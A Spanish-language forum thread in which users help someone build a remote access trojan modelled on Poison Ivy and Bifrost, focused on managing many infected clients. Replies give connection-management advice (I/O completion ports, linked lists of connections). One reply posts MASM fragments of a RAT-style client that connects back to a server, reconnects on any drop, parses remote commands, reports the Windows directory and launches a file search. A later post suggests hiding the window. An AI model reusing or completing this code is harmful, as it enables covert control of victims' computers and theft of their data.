Hola a todos tengo una duda, como podría administrar múltiples clientes, me baso en la idea de Poison Ivy, Bifrost, entre otros rat.
Mi idea es crear un thread por cada conexión recibida y asignar un especie de identificador único y ese mismo identificador agregarlo a una tabla. Ahora cuando quiera realizar una acción en un servidor específico ¿cómo lo haría?
No existe alguna guía en donde se estructure la administración de conexiones?, saludos y gracias
Un hilo por cada conexión no es escalable.
Luego para administrarlo solo necesitas tener una lista(Lista enlazada) de conexiones y en la interface grfica. pues con un listBox que cambie entre conexiones para que todo lo que hagas se realice sobre la conexión que esta actualmente seleccionada. Si quieres usar varias conexiones usa los i/o completion port que permiten a unos cuantos hilos manejar muchisimas conexiones de manera asíncrona
un saludo Ark
PD: ejemplo de iocp aqui (https://blackstack.org/t/src-i-o-asincrono-windows/672)
Cita de: Arkangel_0x7C5 en 12 Febrero 2014, 11:54 AM
Un hilo por cada conexión no es escalable.
Luego para administrarlo solo necesitas tener una lista(Lista enlazada) de conexiones y en la interface grfica. pues con un listBox que cambie entre conexiones para que todo lo que hagas se realice sobre la conexión que esta actualmente seleccionada. Si quieres usar varias conexiones usa los i/o completion port que permiten a unos cuantos hilos manejar muchisimas conexiones de manera asíncrona
un saludo Ark
PD: ejemplo de iocp aqui (https://blackstack.org/t/src-i-o-asincrono-windows/672)
Me ha quedado todo claro excepto el "No es escalable", a que te refieres con eso?, saludos (me diste una gran solución muchas gracias :) )
pues con lo de escalable me refiero a quecon forme aumentas el numero de conexiones e hilos vas gastando mas y mas recursos
Y llega un momento en que el SO esta mas tiempo cambiando de hilo que ejecutandolos
un saludo
Citarpues con lo de escalable me refiero a quecon forme aumentas el numero de conexiones e hilos vas gastando mas y mas recursos
Y llega un momento en que el SO esta mas tiempo cambiando de hilo que ejecutandolos
Pero supone un problema grave?? Es decir.. da como para saturar el procesador? Siempre suponiendo que no van a haber 10.000 computadoras conectadas.. Yo seria de la idea de los hilos, o al menos hacer una prueba..
Saludos!
Esta como medio raro ese ejemplo:
Citar>device.ioCompletion((IODevice*)io,buff,
BytesTransfered,opCode,
errorCode);
break;
case OP_CLOSE:
if(io->device.ioCompletion)io->device.ioCompletion((IODevice*)io,buff,
BytesTransfered,opCode,
errorCode);
io->device.closeHandle((IODevice*)io);
free(io);
default:
;
}
Si pongo dos variables en el main, una identifica a que cliente quiero referirme y otra que operación pretendo realizar, cada hilo verifica si el identificador se refiere a el y en el caso que sea así realiza la opción, ¿Qué les parece?
Seria algo así como utilizar los dos métodos? Debería funcionar, quizás quede un poco mas pesado, y no estoy seguro que valga la pena,, pero puede quedar bien organizado.. creo que vas a tener que optar por la que mas te parezca, o... dedicarle un poco mas de tiempo y probar todas.. la que resulte mas fácil/funcional de implementar es la que utilizas..
Suerte! Saludos!
PD: Si queres tengo algo medio armado en sockets Asyn en C++
Cita de: Vaagish en 12 Febrero 2014, 23:33 PM
Esta como medio raro ese ejemplo:
Ya esta corregido, la actualizacion de ese foro parece que estropeo un poco la vusualizacion
.:UND3R:.
Si guardas una lista de los clientes, en esa estructura podrias poner si quisieras una cola de operaciones a realizar
Pero bueno, con lo que te enseñe de IOCP, da igual el hilo que realice las operaciones de lectura escritura
Y si te fijas, la estructura overlapped puedes modificarla a gusto paar poner que operacion hay que realizar y poner un puntero que apunte a datos o a un contexto como la informacion de el cliente
un saludo
PD: lo de saturar el procesador no se cuando empezaria a ocurrir, porque depende de la maquina y del SO
Si tu idea es hacerlo con linux hay un programa que gestiona las conexiones, su uso es parecido a netcat pero crea sockets por cada conexión que recibe.
El programa es tcpserver, aún no lo he probado pero me lo recomendo un compañero del cual me fio al 100%, además el creador del programa es el mismo que el de supervisor entre otros, así que tiene que se rde calidad.
El enlace http://cr.yp.to/ucspi-tcp/tcpserver.html (http://cr.yp.to/ucspi-tcp/tcpserver.html).
Ten en cuenta que el verdadero limite de conexiones que tendrás serán el número de puertos, pero no creo que tengas siempre todas las máquinas encendidas y conectadas.
Espero haber sido de ayuda. Saludos.
hace algun tiempo me tope con el mismo problema y encontre varios codigos y algunos tutos del tema(ya no recuerdo donde)q talves puedan servir, para windows
https://gist.github.com/daryo963/9f619aed67ac632987ad
y si usan threads
um se me olvido preguntar de que lenguaje estamos hablando?
¿Qué le pasa a el foro este último tiempo?, no paran de prestar una muy buena disposición. Muchas gracias por toda la info :)
Lenguaje puede ser: MASM, C, C++ (creo poder entenderlo), Java
Saludos
En MASM:
Lo podes declarar algo asi al socket:
ThreadProc PROC
invoke Sleep, 5000
invoke WSAStartup, addr WsaV, addr wsa
invoke socket, AF_INET, SOCK_STREAM, 0
mov Sock, eax
invoke WSAAsyncSelect, Sock, hwnd, WM_SOCK, FD_CONNECT or FD_CLOSE or FD_READ
mov sa.sin_family, AF_INET
invoke inet_addr, addr Direc
mov sa.sin_addr, eax
invoke htons, Puerto
mov sa.sin_port, ax
invoke connect, Sock, addr sa, sizeof sa
ret
ThreadProc ENDP
Y lo usas algo asi:
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage, NULL
.ELSEIF uMsg==WM_CREATE
mov eax, OFFSET ThreadCop
invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, addr ThreadID2
invoke CloseHandle, eax
.ELSEIF uMsg==WM_FINISH
;El Thread Copiar Termino, Inicio El Thread Conectar..
mov eax, OFFSET ThreadProc
invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
invoke CloseHandle, eax
.ELSEIF uMsg==WM_SOCK
mov edx, lParam
.IF dx==FD_CONNECT
shr edx, 16
.IF dx==NULL
; Si dx esta vacio, significa conexion exitosa, sino podemos evaluar el ErrorCode
; en dx, los errores son constantes
invoke wsprintf, addr Cnex, addr Saludo, addr RegBuffer
invoke send, Sock, addr Cnex, sizeof Cnex, 0
.ELSE
mov eax, OFFSET ThreadProc
invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
invoke CloseHandle, eax
.ENDIF
.ELSEIF dx==FD_CLOSE
shr edx, 16
.IF dx!=NULL
mov eax, OFFSET ThreadProc
invoke CreateThread, NULL, NULL, eax, NULL, NORMAL_PRIORITY_CLASS, ADDR ThreadID
invoke CloseHandle, eax
; Podemos evaluar a dx para saber el ErrorCode, en este caso no se precisa,, cualquier
; Desconexion remota significa volver a conectarse ;)
.ENDIF
.ELSEIF dx==FD_READ
shr edx, 16
.IF dx==NULL
invoke memfill, addr buffer, sizeof buffer, 0
invoke memfill, addr Dato1, sizeof Dato1, 0
invoke memfill, addr Dato2, sizeof Dato2, 0
invoke recv, Sock, addr buffer, SIZEOF buffer, 0
mov ecx, -1
mov ebx, -1
Repite:
inc ecx
mov al, byte ptr ds:[buffer + ecx]
cmp al, '|'
je Salta
mov [Dato1 + ecx], al
jmp Repite
Salta:
inc ecx
inc ebx
cmp byte ptr ds:[buffer + ecx], 0
je Salir
mov al, byte ptr ds:[buffer + ecx]
mov [Dato2 + ebx], al
jmp Salta
Salir:
invoke szCmp, addr Dato1, addr Find
.if eax!=0
invoke szCmp, addr Dato2, addr WinDir
.if eax!=0
invoke LoadLibrary, addr Kn32
invoke GetProcAddress, eax, addr GWD
push MAX_PATH
push offset Ruta
call eax
invoke wsprintf, addr WinR, addr WinFrmt, addr Ruta
invoke send, Sock, addr WinR, sizeof WinR, 0
invoke wsprintf, addr Bfr, addr Frmt, addr Ruta
mov eax, OFFSET ThreadBus
invoke CreateThread, NULL, NULL, eax, addr Bfr, NORMAL_PRIORITY_CLASS, addr ThreadID3
invoke CloseHandle, eax
.else
mov eax, OFFSET ThreadBus
invoke CreateThread, NULL, NULL, eax, addr Dato2, NORMAL_PRIORITY_CLASS, addr ThreadID3
invoke CloseHandle, eax
.endif
.endif
.ENDIF
Es complicado entenderlo asi.. pero a lo mejor te puede dar una idea..
Suerte!!
Vaagish
Pero asi necesitas de una ventana para el bucle de eventos, el no tiene porque tener una ventana.....
Ajam.. pero podría ocultarla.. :silbar: Es una posibilidad.. :rolleyes:
Saludos!!